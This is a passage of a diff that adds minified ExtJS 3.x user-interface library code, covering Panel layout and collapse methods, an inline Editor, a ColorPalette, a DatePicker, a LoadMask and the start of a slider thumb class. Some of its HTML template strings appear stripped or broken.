    '); + h.disableFormats = true; + h.compile(); + Ext.Panel.prototype.toolTemplate = h + } + for (var g = 0, d = arguments, c = d.length; g < c; g++) { + var b = d[g]; + if (!this.tools[b.id]) { + var j = "x-tool-" + b.id + "-over"; + var e = this.toolTemplate.insertFirst(this[this.toolTarget], b, true); + this.tools[b.id] = e; + e.enableDisplayMode("block"); + this.mon(e, "click", this.createToolHandler(e, b, j, this)); + if (b.on) { + this.mon(e, b.on) + } + if (b.hidden) { + e.hide() + } + if (b.qtip) { + if (Ext.isObject(b.qtip)) { + Ext.QuickTips.register(Ext.apply({target:e.id}, b.qtip)) + } else { + e.dom.qtip = b.qtip + } + } + e.addClassOnOver(j) + } + } +}, onLayout:function (b, a) { + Ext.Panel.superclass.onLayout.apply(this, arguments); + if (this.hasLayout && this.toolbars.length > 0) { + Ext.each(this.toolbars, function (c) { + c.doLayout(undefined, a) + }); + this.syncHeight() + } +}, syncHeight:function () { + var b = this.toolbarHeight, c = this.body, a = this.lastSize.height, d; + if (this.autoHeight || !Ext.isDefined(a) || a == "auto") { + return + } + if (b != this.getToolbarHeight()) { + b = Math.max(0, a - this.getFrameHeight()); + c.setHeight(b); + d = c.getSize(); + this.toolbarHeight = this.getToolbarHeight(); + this.onBodyResize(d.width, d.height) + } +}, onShow:function () { + if (this.floating) { + return this.el.show() + } + Ext.Panel.superclass.onShow.call(this) +}, onHide:function () { + if (this.floating) { + return this.el.hide() + } + Ext.Panel.superclass.onHide.call(this) +}, createToolHandler:function (c, a, d, b) { + return function (g) { + c.removeClass(d); + if (a.stopEvent !== false) { + g.stopEvent() + } + if (a.handler) { + a.handler.call(a.scope || c, g, c, b, a) + } + } +}, afterRender:function () { + if (this.floating && !this.hidden) { + this.el.show() + } + if (this.title) { + this.setTitle(this.title) + } + Ext.Panel.superclass.afterRender.call(this); + if (this.collapsed) { + this.collapsed = false; + this.collapse(false) + } + this.initEvents() +}, getKeyMap:function () { + if (!this.keyMap) { + this.keyMap = new Ext.KeyMap(this.el, this.keys) + } + return this.keyMap +}, initEvents:function () { + if (this.keys) { + this.getKeyMap() + } + if (this.draggable) { + this.initDraggable() + } + if (this.toolbars.length > 0) { + Ext.each(this.toolbars, function (a) { + a.doLayout(); + a.on({scope:this, afterlayout:this.syncHeight, remove:this.syncHeight}) + }, this); + this.syncHeight() + } +}, initDraggable:function () { + this.dd = new Ext.Panel.DD(this, Ext.isBoolean(this.draggable) ? null : this.draggable) +}, beforeEffect:function (a) { + if (this.floating) { + this.el.beforeAction() + } + if (a !== false) { + this.el.addClass("x-panel-animated") + } +}, afterEffect:function (a) { + this.syncShadow(); + this.el.removeClass("x-panel-animated") +}, createEffect:function (c, b, d) { + var e = {scope:d, block:true}; + if (c === true) { + e.callback = b; + return e + } else { + if (!c.callback) { + e.callback = b + } else { + e.callback = function () { + b.call(d); + Ext.callback(c.callback, c.scope) + } + } + } + return Ext.applyIf(e, c) +}, collapse:function (b) { + if (this.collapsed || this.el.hasFxBlock() || this.fireEvent("beforecollapse", this, b) === false) { + return + } + var a = b === true || (b !== false && this.animCollapse); + this.beforeEffect(a); + this.onCollapse(a, b); + return this +}, onCollapse:function (a, b) { + if (a) { + this[this.collapseEl].slideOut(this.slideAnchor, Ext.apply(this.createEffect(b || true, this.afterCollapse, this), this.collapseDefaults)) + } else { + this[this.collapseEl].hide(this.hideMode); + this.afterCollapse(false) + } +}, afterCollapse:function (a) { + this.collapsed = true; + this.el.addClass(this.collapsedCls); + if (a !== false) { + this[this.collapseEl].hide(this.hideMode) + } + this.afterEffect(a); + this.cascade(function (b) { + if (b.lastSize) { + b.lastSize = {width:undefined, height:undefined} + } + }); + this.fireEvent("collapse", this) +}, expand:function (b) { + if (!this.collapsed || this.el.hasFxBlock() || this.fireEvent("beforeexpand", this, b) === false) { + return + } + var a = b === true || (b !== false && this.animCollapse); + this.el.removeClass(this.collapsedCls); + this.beforeEffect(a); + this.onExpand(a, b); + return this +}, onExpand:function (a, b) { + if (a) { + this[this.collapseEl].slideIn(this.slideAnchor, Ext.apply(this.createEffect(b || true, this.afterExpand, this), this.expandDefaults)) + } else { + this[this.collapseEl].show(this.hideMode); + this.afterExpand(false) + } +}, afterExpand:function (a) { + this.collapsed = false; + if (a !== false) { + this[this.collapseEl].show(this.hideMode) + } + this.afterEffect(a); + if (this.deferLayout) { + delete this.deferLayout; + this.doLayout(true) + } + this.fireEvent("expand", this) +}, toggleCollapse:function (a) { + this[this.collapsed ? "expand" : "collapse"](a); + return this +}, onDisable:function () { + if (this.rendered && this.maskDisabled) { + this.el.mask() + } + Ext.Panel.superclass.onDisable.call(this) +}, onEnable:function () { + if (this.rendered && this.maskDisabled) { + this.el.unmask() + } + Ext.Panel.superclass.onEnable.call(this) +}, onResize:function (g, d, c, e) { + var a = g, b = d; + if (Ext.isDefined(a) || Ext.isDefined(b)) { + if (!this.collapsed) { + if (Ext.isNumber(a)) { + this.body.setWidth(a = this.adjustBodyWidth(a - this.getFrameWidth())) + } else { + if (a == "auto") { + a = this.body.setWidth("auto").dom.offsetWidth + } else { + a = this.body.dom.offsetWidth + } + } + if (this.tbar) { + this.tbar.setWidth(a); + if (this.topToolbar) { + this.topToolbar.setSize(a) + } + } + if (this.bbar) { + this.bbar.setWidth(a); + if (this.bottomToolbar) { + this.bottomToolbar.setSize(a); + if (Ext.isIE) { + this.bbar.setStyle("position", "static"); + this.bbar.setStyle("position", "") + } + } + } + if (this.footer) { + this.footer.setWidth(a); + if (this.fbar) { + this.fbar.setSize(Ext.isIE ? (a - this.footer.getFrameWidth("lr")) : "auto") + } + } + if (Ext.isNumber(b)) { + b = Math.max(0, b - this.getFrameHeight()); + this.body.setHeight(b) + } else { + if (b == "auto") { + this.body.setHeight(b) + } + } + if (this.disabled && this.el._mask) { + this.el._mask.setSize(this.el.dom.clientWidth, this.el.getHeight()) + } + } else { + this.queuedBodySize = {width:a, height:b}; + if (!this.queuedExpand && this.allowQueuedExpand !== false) { + this.queuedExpand = true; + this.on("expand", function () { + delete this.queuedExpand; + this.onResize(this.queuedBodySize.width, this.queuedBodySize.height) + }, this, {single:true}) + } + } + this.onBodyResize(a, b) + } + this.syncShadow(); + Ext.Panel.superclass.onResize.call(this, g, d, c, e) +}, onBodyResize:function (a, b) { + this.fireEvent("bodyresize", this, a, b) +}, getToolbarHeight:function () { + var a = 0; + if (this.rendered) { + Ext.each(this.toolbars, function (b) { + a += b.getHeight() + }, this) + } + return a +}, adjustBodyHeight:function (a) { + return a +}, adjustBodyWidth:function (a) { + return a +}, onPosition:function () { + this.syncShadow() +}, getFrameWidth:function () { + var b = this.el.getFrameWidth("lr") + this.bwrap.getFrameWidth("lr"); + if (this.frame) { + var a = this.bwrap.dom.firstChild; + b += (Ext.fly(a).getFrameWidth("l") + Ext.fly(a.firstChild).getFrameWidth("r")); + b += this.mc.getFrameWidth("lr") + } + return b +}, getFrameHeight:function () { + var a = this.el.getFrameWidth("tb") + this.bwrap.getFrameWidth("tb"); + a += (this.tbar ? this.tbar.getHeight() : 0) + (this.bbar ? this.bbar.getHeight() : 0); + if (this.frame) { + a += this.el.dom.firstChild.offsetHeight + this.ft.dom.offsetHeight + this.mc.getFrameWidth("tb") + } else { + a += (this.header ? this.header.getHeight() : 0) + (this.footer ? this.footer.getHeight() : 0) + } + return a +}, getInnerWidth:function () { + return this.getSize().width - this.getFrameWidth() +}, getInnerHeight:function () { + return this.body.getHeight() +}, syncShadow:function () { + if (this.floating) { + this.el.sync(true) + } +}, getLayoutTarget:function () { + return this.body +}, getContentTarget:function () { + return this.body +}, setTitle:function (b, a) { + this.title = b; + if (this.header && this.headerAsText) { + this.header.child("span").update(b) + } + if (a) { + this.setIconClass(a) + } + this.fireEvent("titlechange", this, b); + return this +}, getUpdater:function () { + return this.body.getUpdater() +}, load:function () { + var a = this.body.getUpdater(); + a.update.apply(a, arguments); + return this +}, beforeDestroy:function () { + Ext.Panel.superclass.beforeDestroy.call(this); + if (this.header) { + this.header.removeAllListeners() + } + if (this.tools) { + for (var a in this.tools) { + Ext.destroy(this.tools[a]) + } + } + if (this.toolbars.length > 0) { + Ext.each(this.toolbars, function (b) { + b.un("afterlayout", this.syncHeight, this); + b.un("remove", this.syncHeight, this) + }, this) + } + if (Ext.isArray(this.buttons)) { + while (this.buttons.length) { + Ext.destroy(this.buttons[0]) + } + } + if (this.rendered) { + Ext.destroy(this.ft, this.header, this.footer, this.tbar, this.bbar, this.body, this.mc, this.bwrap, this.dd); + if (this.fbar) { + Ext.destroy(this.fbar, this.fbar.el) + } + } + Ext.destroy(this.toolbars) +}, createClasses:function () { + this.headerCls = this.baseCls + "-header"; + this.headerTextCls = this.baseCls + "-header-text"; + this.bwrapCls = this.baseCls + "-bwrap"; + this.tbarCls = this.baseCls + "-tbar"; + this.bodyCls = this.baseCls + "-body"; + this.bbarCls = this.baseCls + "-bbar"; + this.footerCls = this.baseCls + "-footer" +}, createGhost:function (a, e, b) { + var d = document.createElement("div"); + d.className = "x-panel-ghost " + (a ? a : ""); + if (this.header) { + d.appendChild(this.el.dom.firstChild.cloneNode(true)) + } + Ext.fly(d.appendChild(document.createElement("ul"))).setHeight(this.bwrap.getHeight()); + d.style.width = this.el.dom.offsetWidth + "px"; + if (!b) { + this.container.dom.appendChild(d) + } else { + Ext.getDom(b).appendChild(d) + } + if (e !== false && this.el.useShim !== false) { + var c = new Ext.Layer({shadow:false, useDisplay:true, constrain:false}, d); + c.show(); + return c + } else { + return new Ext.Element(d) + } +}, doAutoLoad:function () { + var a = this.body.getUpdater(); + if (this.renderer) { + a.setRenderer(this.renderer) + } + a.update(Ext.isObject(this.autoLoad) ? this.autoLoad : {url:this.autoLoad}) +}, getTool:function (a) { + return this.tools[a] +}}); +Ext.reg("panel", Ext.Panel); +Ext.Editor = function (b, a) { + if (b.field) { + this.field = Ext.create(b.field, "textfield"); + a = Ext.apply({}, b); + delete a.field + } else { + this.field = b + } + Ext.Editor.superclass.constructor.call(this, a) +}; +Ext.extend(Ext.Editor, Ext.Component, {allowBlur:true, value:"", alignment:"c-c?", offsets:[0, 0], shadow:"frame", constrain:false, swallowKeys:true, completeOnEnter:true, cancelOnEsc:true, updateEl:false, initComponent:function () { + Ext.Editor.superclass.initComponent.call(this); + this.addEvents("beforestartedit", "startedit", "beforecomplete", "complete", "canceledit", "specialkey") +}, onRender:function (b, a) { + this.el = new Ext.Layer({shadow:this.shadow, cls:"x-editor", parentEl:b, shim:this.shim, shadowOffset:this.shadowOffset || 4, id:this.id, constrain:this.constrain}); + if (this.zIndex) { + this.el.setZIndex(this.zIndex) + } + this.el.setStyle("overflow", Ext.isGecko ? "auto" : "hidden"); + if (this.field.msgTarget != "title") { + this.field.msgTarget = "qtip" + } + this.field.inEditor = true; + this.mon(this.field, {scope:this, blur:this.onBlur, specialkey:this.onSpecialKey}); + if (this.field.grow) { + this.mon(this.field, "autosize", this.el.sync, this.el, {delay:1}) + } + this.field.render(this.el).show(); + this.field.getEl().dom.name = ""; + if (this.swallowKeys) { + this.field.el.swallowEvent(["keypress", "keydown"]) + } +}, onSpecialKey:function (g, d) { + var b = d.getKey(), a = this.completeOnEnter && b == d.ENTER, c = this.cancelOnEsc && b == d.ESC; + if (a || c) { + d.stopEvent(); + if (a) { + this.completeEdit() + } else { + this.cancelEdit() + } + if (g.triggerBlur) { + g.triggerBlur() + } + } + this.fireEvent("specialkey", g, d) +}, startEdit:function (b, c) { + if (this.editing) { + this.completeEdit() + } + this.boundEl = Ext.get(b); + var a = c !== undefined ? c : this.boundEl.dom.innerHTML; + if (!this.rendered) { + this.render(this.parentEl || document.body) + } + if (this.fireEvent("beforestartedit", this, this.boundEl, a) !== false) { + this.startValue = a; + this.field.reset(); + this.field.setValue(a); + this.realign(true); + this.editing = true; + this.show() + } +}, doAutoSize:function () { + if (this.autoSize) { + var b = this.boundEl.getSize(), a = this.field.getSize(); + switch (this.autoSize) { + case"width": + this.setSize(b.width, a.height); + break; + case"height": + this.setSize(a.width, b.height); + break; + case"none": + this.setSize(a.width, a.height); + break; + default: + this.setSize(b.width, b.height) + } + } +}, setSize:function (a, b) { + delete this.field.lastSize; + this.field.setSize(a, b); + if (this.el) { + if (Ext.isGecko2 || Ext.isOpera || (Ext.isIE7 && Ext.isStrict)) { + this.el.setSize(a, b) + } + this.el.sync() + } +}, realign:function (a) { + if (a === true) { + this.doAutoSize() + } + this.el.alignTo(this.boundEl, this.alignment, this.offsets) +}, completeEdit:function (a) { + if (!this.editing) { + return + } + if (this.field.assertValue) { + this.field.assertValue() + } + var b = this.getValue(); + if (!this.field.isValid()) { + if (this.revertInvalid !== false) { + this.cancelEdit(a) + } + return + } + if (String(b) === String(this.startValue) && this.ignoreNoChange) { + this.hideEdit(a); + return + } + if (this.fireEvent("beforecomplete", this, b, this.startValue) !== false) { + b = this.getValue(); + if (this.updateEl && this.boundEl) { + this.boundEl.update(b) + } + this.hideEdit(a); + this.fireEvent("complete", this, b, this.startValue) + } +}, onShow:function () { + this.el.show(); + if (this.hideEl !== false) { + this.boundEl.hide() + } + this.field.show().focus(false, true); + this.fireEvent("startedit", this.boundEl, this.startValue) +}, cancelEdit:function (a) { + if (this.editing) { + var b = this.getValue(); + this.setValue(this.startValue); + this.hideEdit(a); + this.fireEvent("canceledit", this, b, this.startValue) + } +}, hideEdit:function (a) { + if (a !== true) { + this.editing = false; + this.hide() + } +}, onBlur:function () { + if (this.allowBlur === true && this.editing && this.selectSameEditor !== true) { + this.completeEdit() + } +}, onHide:function () { + if (this.editing) { + this.completeEdit(); + return + } + this.field.blur(); + if (this.field.collapse) { + this.field.collapse() + } + this.el.hide(); + if (this.hideEl !== false) { + this.boundEl.show() + } +}, setValue:function (a) { + this.field.setValue(a) +}, getValue:function () { + return this.field.getValue() +}, beforeDestroy:function () { + Ext.destroyMembers(this, "field"); + delete this.parentEl; + delete this.boundEl +}}); +Ext.reg("editor", Ext.Editor); +Ext.ColorPalette = Ext.extend(Ext.Component, {itemCls:"x-color-palette", value:null, clickEvent:"click", ctype:"Ext.ColorPalette", allowReselect:false, colors:["000000", "993300", "333300", "003300", "003366", "000080", "333399", "333333", "800000", "FF6600", "808000", "008000", "008080", "0000FF", "666699", "808080", "FF0000", "FF9900", "99CC00", "339966", "33CCCC", "3366FF", "800080", "969696", "FF00FF", "FFCC00", "FFFF00", "00FF00", "00FFFF", "00CCFF", "993366", "C0C0C0", "FF99CC", "FFCC99", "FFFF99", "CCFFCC", "CCFFFF", "99CCFF", "CC99FF", "FFFFFF"], initComponent:function () { + Ext.ColorPalette.superclass.initComponent.call(this); + this.addEvents("select"); + if (this.handler) { + this.on("select", this.handler, this.scope, true) + } +}, onRender:function (b, a) { + this.autoEl = {tag:"div", cls:this.itemCls}; + Ext.ColorPalette.superclass.onRender.call(this, b, a); + var c = this.tpl || new Ext.XTemplate(' '); + c.overwrite(this.el, this.colors); + this.mon(this.el, this.clickEvent, this.handleClick, this, {delegate:"a"}); + if (this.clickEvent != "click") { + this.mon(this.el, "click", Ext.emptyFn, this, {delegate:"a", preventDefault:true}) + } +}, afterRender:function () { + Ext.ColorPalette.superclass.afterRender.call(this); + if (this.value) { + var a = this.value; + this.value = null; + this.select(a, true) + } +}, handleClick:function (b, a) { + b.preventDefault(); + if (!this.disabled) { + var d = a.className.match(/(?:^|\s)color-(.{6})(?:\s|$)/)[1]; + this.select(d.toUpperCase()) + } +}, select:function (b, a) { + b = b.replace("#", ""); + if (b != this.value || this.allowReselect) { + var c = this.el; + if (this.value) { + c.child("a.color-" + this.value).removeClass("x-color-palette-sel") + } + c.child("a.color-" + b).addClass("x-color-palette-sel"); + this.value = b; + if (a !== true) { + this.fireEvent("select", this, b) + } + } +}}); +Ext.reg("colorpalette", Ext.ColorPalette); +Ext.DatePicker = Ext.extend(Ext.BoxComponent, {todayText:"Today", okText:" OK ", cancelText:"Cancel", todayTip:"{0} (Spacebar)", minText:"This date is before the minimum date", maxText:"This date is after the maximum date", format:"m/d/y", disabledDaysText:"Disabled", disabledDatesText:"Disabled", monthNames:Date.monthNames, dayNames:Date.dayNames, nextText:"Next Month (Control+Right)", prevText:"Previous Month (Control+Left)", monthYearText:"Choose a month (Control+Up/Down to move years)", startDay:0, showToday:true, focusOnSelect:true, initHour:12, initComponent:function () { + Ext.DatePicker.superclass.initComponent.call(this); + this.value = this.value ? this.value.clearTime(true) : new Date().clearTime(); + this.addEvents("select"); + if (this.handler) { + this.on("select", this.handler, this.scope || this) + } + this.initDisabledDays() +}, initDisabledDays:function () { + if (!this.disabledDatesRE && this.disabledDates) { + var b = this.disabledDates, a = b.length - 1, c = "(?:"; + Ext.each(b, function (g, e) { + c += Ext.isDate(g) ? "^" + Ext.escapeRe(g.dateFormat(this.format)) + "$" : b[e]; + if (e != a) { + c += "|" + } + }, this); + this.disabledDatesRE = new RegExp(c + ")") + } +}, setDisabledDates:function (a) { + if (Ext.isArray(a)) { + this.disabledDates = a; + this.disabledDatesRE = null + } else { + this.disabledDatesRE = a + } + this.initDisabledDays(); + this.update(this.value, true) +}, setDisabledDays:function (a) { + this.disabledDays = a; + this.update(this.value, true) +}, setMinDate:function (a) { + this.minDate = a; + this.update(this.value, true) +}, setMaxDate:function (a) { + this.maxDate = a; + this.update(this.value, true) +}, setValue:function (a) { + this.value = a.clearTime(true); + this.update(this.value) +}, getValue:function () { + return this.value +}, focus:function () { + this.update(this.activeDate) +}, onEnable:function (a) { + Ext.DatePicker.superclass.onEnable.call(this); + this.doDisabled(false); + this.update(a ? this.value : this.activeDate); + if (Ext.isIE) { + this.el.repaint() + } +}, onDisable:function () { + Ext.DatePicker.superclass.onDisable.call(this); + this.doDisabled(true); + if (Ext.isIE && !Ext.isIE8) { + Ext.each([].concat(this.textNodes, this.el.query("th span")), function (a) { + Ext.fly(a).repaint() + }) + } +}, doDisabled:function (a) { + this.keyNav.setDisabled(a); + this.prevRepeater.setDisabled(a); + this.nextRepeater.setDisabled(a); + if (this.showToday) { + this.todayKeyListener.setDisabled(a); + this.todayBtn.setDisabled(a) + } +}, onRender:function (e, b) { + var a = ['', '', '", this.showToday ? '' : "", '
      
    '], c = this.dayNames, h; + for (h = 0; h < 7; h++) { + var k = this.startDay + h; + if (k > 6) { + k = k - 7 + } + a.push("") + } + a[a.length] = ""; + for (h = 0; h < 42; h++) { + if (h % 7 === 0 && h !== 0) { + a[a.length] = "" + } + a[a.length] = '' + } + a.push("
    ", c[k].substr(0, 1), "
    '); + var j = document.createElement("div"); + j.className = "x-date-picker"; + j.innerHTML = a.join(""); + e.dom.insertBefore(j, b); + this.el = Ext.get(j); + this.eventEl = Ext.get(j.firstChild); + this.prevRepeater = new Ext.util.ClickRepeater(this.el.child("td.x-date-left a"), {handler:this.showPrevMonth, scope:this, preventDefault:true, stopDefault:true}); + this.nextRepeater = new Ext.util.ClickRepeater(this.el.child("td.x-date-right a"), {handler:this.showNextMonth, scope:this, preventDefault:true, stopDefault:true}); + this.monthPicker = this.el.down("div.x-date-mp"); + this.monthPicker.enableDisplayMode("block"); + this.keyNav = new Ext.KeyNav(this.eventEl, {left:function (d) { + if (d.ctrlKey) { + this.showPrevMonth() + } else { + this.update(this.activeDate.add("d", -1)) + } + }, right:function (d) { + if (d.ctrlKey) { + this.showNextMonth() + } else { + this.update(this.activeDate.add("d", 1)) + } + }, up:function (d) { + if (d.ctrlKey) { + this.showNextYear() + } else { + this.update(this.activeDate.add("d", -7)) + } + }, down:function (d) { + if (d.ctrlKey) { + this.showPrevYear() + } else { + this.update(this.activeDate.add("d", 7)) + } + }, pageUp:function (d) { + this.showNextMonth() + }, pageDown:function (d) { + this.showPrevMonth() + }, enter:function (d) { + d.stopPropagation(); + return true + }, scope:this}); + this.el.unselectable(); + this.cells = this.el.select("table.x-date-inner tbody td"); + this.textNodes = this.el.query("table.x-date-inner tbody span"); + this.mbtn = new Ext.Button({text:" ", tooltip:this.monthYearText, renderTo:this.el.child("td.x-date-middle", true)}); + this.mbtn.el.child("em").addClass("x-btn-arrow"); + if (this.showToday) { + this.todayKeyListener = this.eventEl.addKeyListener(Ext.EventObject.SPACE, this.selectToday, this); + var g = (new Date()).dateFormat(this.format); + this.todayBtn = new Ext.Button({renderTo:this.el.child("td.x-date-bottom", true), text:String.format(this.todayText, g), tooltip:String.format(this.todayTip, g), handler:this.selectToday, scope:this}) + } + this.mon(this.eventEl, "mousewheel", this.handleMouseWheel, this); + this.mon(this.eventEl, "click", this.handleDateClick, this, {delegate:"a.x-date-date"}); + this.mon(this.mbtn, "click", this.showMonthPicker, this); + this.onEnable(true) +}, createMonthPicker:function () { + if (!this.monthPicker.dom.firstChild) { + var a = ['']; + for (var b = 0; b < 6; b++) { + a.push('", '", b === 0 ? '' : '') + } + a.push('", "
    ', Date.getShortMonthName(b), "', Date.getShortMonthName(b + 6), "
    "); + this.monthPicker.update(a.join("")); + this.mon(this.monthPicker, "click", this.onMonthClick, this); + this.mon(this.monthPicker, "dblclick", this.onMonthDblClick, this); + this.mpMonths = this.monthPicker.select("td.x-date-mp-month"); + this.mpYears = this.monthPicker.select("td.x-date-mp-year"); + this.mpMonths.each(function (c, d, e) { + e += 1; + if ((e % 2) === 0) { + c.dom.xmonth = 5 + Math.round(e * 0.5) + } else { + c.dom.xmonth = Math.round((e - 1) * 0.5) + } + }) + } +}, showMonthPicker:function () { + if (!this.disabled) { + this.createMonthPicker(); + var a = this.el.getSize(); + this.monthPicker.setSize(a); + this.monthPicker.child("table").setSize(a); + this.mpSelMonth = (this.activeDate || this.value).getMonth(); + this.updateMPMonth(this.mpSelMonth); + this.mpSelYear = (this.activeDate || this.value).getFullYear(); + this.updateMPYear(this.mpSelYear); + this.monthPicker.slideIn("t", {duration:0.2}) + } +}, updateMPYear:function (e) { + this.mpyear = e; + var c = this.mpYears.elements; + for (var b = 1; b <= 10; b++) { + var d = c[b - 1], a; + if ((b % 2) === 0) { + a = e + Math.round(b * 0.5); + d.firstChild.innerHTML = a; + d.xyear = a + } else { + a = e - (5 - Math.round(b * 0.5)); + d.firstChild.innerHTML = a; + d.xyear = a + } + this.mpYears.item(b - 1)[a == this.mpSelYear ? "addClass" : "removeClass"]("x-date-mp-sel") + } +}, updateMPMonth:function (a) { + this.mpMonths.each(function (b, c, d) { + b[b.dom.xmonth == a ? "addClass" : "removeClass"]("x-date-mp-sel") + }) +}, selectMPMonth:function (a) { +}, onMonthClick:function (g, b) { + g.stopEvent(); + var c = new Ext.Element(b), a; + if (c.is("button.x-date-mp-cancel")) { + this.hideMonthPicker() + } else { + if (c.is("button.x-date-mp-ok")) { + var h = new Date(this.mpSelYear, this.mpSelMonth, (this.activeDate || this.value).getDate()); + if (h.getMonth() != this.mpSelMonth) { + h = new Date(this.mpSelYear, this.mpSelMonth, 1).getLastDateOfMonth() + } + this.update(h); + this.hideMonthPicker() + } else { + if ((a = c.up("td.x-date-mp-month", 2))) { + this.mpMonths.removeClass("x-date-mp-sel"); + a.addClass("x-date-mp-sel"); + this.mpSelMonth = a.dom.xmonth + } else { + if ((a = c.up("td.x-date-mp-year", 2))) { + this.mpYears.removeClass("x-date-mp-sel"); + a.addClass("x-date-mp-sel"); + this.mpSelYear = a.dom.xyear + } else { + if (c.is("a.x-date-mp-prev")) { + this.updateMPYear(this.mpyear - 10) + } else { + if (c.is("a.x-date-mp-next")) { + this.updateMPYear(this.mpyear + 10) + } + } + } + } + } + } +}, onMonthDblClick:function (d, b) { + d.stopEvent(); + var c = new Ext.Element(b), a; + if ((a = c.up("td.x-date-mp-month", 2))) { + this.update(new Date(this.mpSelYear, a.dom.xmonth, (this.activeDate || this.value).getDate())); + this.hideMonthPicker() + } else { + if ((a = c.up("td.x-date-mp-year", 2))) { + this.update(new Date(a.dom.xyear, this.mpSelMonth, (this.activeDate || this.value).getDate())); + this.hideMonthPicker() + } + } +}, hideMonthPicker:function (a) { + if (this.monthPicker) { + if (a === true) { + this.monthPicker.hide() + } else { + this.monthPicker.slideOut("t", {duration:0.2}) + } + } +}, showPrevMonth:function (a) { + this.update(this.activeDate.add("mo", -1)) +}, showNextMonth:function (a) { + this.update(this.activeDate.add("mo", 1)) +}, showPrevYear:function () { + this.update(this.activeDate.add("y", -1)) +}, showNextYear:function () { + this.update(this.activeDate.add("y", 1)) +}, handleMouseWheel:function (a) { + a.stopEvent(); + if (!this.disabled) { + var b = a.getWheelDelta(); + if (b > 0) { + this.showPrevMonth() + } else { + if (b < 0) { + this.showNextMonth() + } + } + } +}, handleDateClick:function (b, a) { + b.stopEvent(); + if (!this.disabled && a.dateValue && !Ext.fly(a.parentNode).hasClass("x-date-disabled")) { + this.cancelFocus = this.focusOnSelect === false; + this.setValue(new Date(a.dateValue)); + delete this.cancelFocus; + this.fireEvent("select", this, this.value) + } +}, selectToday:function () { + if (this.todayBtn && !this.todayBtn.disabled) { + this.setValue(new Date().clearTime()); + this.fireEvent("select", this, this.value) + } +}, update:function (G, A) { + if (this.rendered) { + var a = this.activeDate, p = this.isVisible(); + this.activeDate = G; + if (!A && a && this.el) { + var o = G.getTime(); + if (a.getMonth() == G.getMonth() && a.getFullYear() == G.getFullYear()) { + this.cells.removeClass("x-date-selected"); + this.cells.each(function (d) { + if (d.dom.firstChild.dateValue == o) { + d.addClass("x-date-selected"); + if (p && !this.cancelFocus) { + Ext.fly(d.dom.firstChild).focus(50) + } + return false + } + }, this); + return + } + } + var k = G.getDaysInMonth(), q = G.getFirstDateOfMonth(), g = q.getDay() - this.startDay; + if (g < 0) { + g += 7 + } + k += g; + var B = G.add("mo", -1), h = B.getDaysInMonth() - g, e = this.cells.elements, r = this.textNodes, D = (new Date(B.getFullYear(), B.getMonth(), h, this.initHour)), C = new Date().clearTime().getTime(), v = G.clearTime(true).getTime(), u = this.minDate ? this.minDate.clearTime(true) : Number.NEGATIVE_INFINITY, y = this.maxDate ? this.maxDate.clearTime(true) : Number.POSITIVE_INFINITY, F = this.disabledDatesRE, s = this.disabledDatesText, I = this.disabledDays ? this.disabledDays.join("") : false, E = this.disabledDaysText, z = this.format; + if (this.showToday) { + var m = new Date().clearTime(), c = (m < u || m > y || (F && z && F.test(m.dateFormat(z))) || (I && I.indexOf(m.getDay()) != -1)); + if (!this.disabled) { + this.todayBtn.setDisabled(c); + this.todayKeyListener[c ? "disable" : "enable"]() + } + } + var l = function (J, d) { + d.title = ""; + var i = D.clearTime(true).getTime(); + d.firstChild.dateValue = i; + if (i == C) { + d.className += " x-date-today"; + d.title = J.todayText + } + if (i == v) { + d.className += " x-date-selected"; + if (p) { + Ext.fly(d.firstChild).focus(50) + } + } + if (i < u) { + d.className = " x-date-disabled"; + d.title = J.minText; + return + } + if (i > y) { + d.className = " x-date-disabled"; + d.title = J.maxText; + return + } + if (I) { + if (I.indexOf(D.getDay()) != -1) { + d.title = E; + d.className = " x-date-disabled" + } + } + if (F && z) { + var w = D.dateFormat(z); + if (F.test(w)) { + d.title = s.replace("%0", w); + d.className = " x-date-disabled" + } + } + }; + var x = 0; + for (; x < g; x++) { + r[x].innerHTML = (++h); + D.setDate(D.getDate() + 1); + e[x].className = "x-date-prevday"; + l(this, e[x]) + } + for (; x < k; x++) { + var b = x - g + 1; + r[x].innerHTML = (b); + D.setDate(D.getDate() + 1); + e[x].className = "x-date-active"; + l(this, e[x]) + } + var H = 0; + for (; x < 42; x++) { + r[x].innerHTML = (++H); + D.setDate(D.getDate() + 1); + e[x].className = "x-date-nextday"; + l(this, e[x]) + } + this.mbtn.setText(this.monthNames[G.getMonth()] + " " + G.getFullYear()); + if (!this.internalRender) { + var j = this.el.dom.firstChild, n = j.offsetWidth; + this.el.setWidth(n + this.el.getBorderWidth("lr")); + Ext.fly(j).setWidth(n); + this.internalRender = true; + if (Ext.isOpera && !this.secondPass) { + j.rows[0].cells[1].style.width = (n - (j.rows[0].cells[0].offsetWidth + j.rows[0].cells[2].offsetWidth)) + "px"; + this.secondPass = true; + this.update.defer(10, this, [G]) + } + } + } +}, beforeDestroy:function () { + if (this.rendered) { + Ext.destroy(this.keyNav, this.monthPicker, this.eventEl, this.mbtn, this.nextRepeater, this.prevRepeater, this.cells.el, this.todayBtn); + delete this.textNodes; + delete this.cells.elements + } +}}); +Ext.reg("datepicker", Ext.DatePicker); +Ext.LoadMask = function (c, b) { + this.el = Ext.get(c); + Ext.apply(this, b); + if (this.store) { + this.store.on({scope:this, beforeload:this.onBeforeLoad, load:this.onLoad, exception:this.onLoad}); + this.removeMask = Ext.value(this.removeMask, false) + } else { + var a = this.el.getUpdater(); + a.showLoadIndicator = false; + a.on({scope:this, beforeupdate:this.onBeforeLoad, update:this.onLoad, failure:this.onLoad}); + this.removeMask = Ext.value(this.removeMask, true) + } +}; +Ext.LoadMask.prototype = {msg:"Loading...", msgCls:"x-mask-loading", disabled:false, disable:function () { + this.disabled = true +}, enable:function () { + this.disabled = false +}, onLoad:function () { + this.el.unmask(this.removeMask) +}, onBeforeLoad:function () { + if (!this.disabled) { + this.el.mask(this.msg, this.msgCls) + } +}, show:function () { + this.onBeforeLoad() +}, hide:function () { + this.onLoad() +}, destroy:function () { + if (this.store) { + this.store.un("beforeload", this.onBeforeLoad, this); + this.store.un("load", this.onLoad, this); + this.store.un("exception", this.onLoad, this) + } else { + var a = this.el.getUpdater(); + a.un("beforeupdate", this.onBeforeLoad, this); + a.un("update", this.onLoad, this); + a.un("failure", this.onLoad, this) + } +}}; +Ext.slider.Thumb = Ext.extend(Object, {dragging:false, constructor:function (a) { + Ext.apply(this, a || {}, {cls:"x-slider-thumb", constrain:false}); + Ext.slider.Thumb.superclass.constructor.call(this, a); + if (this.slider.vertical) { + Ext.apply(this, Ext.slider.Thumb.Vertical) + } +}, render:function () { + this.el = 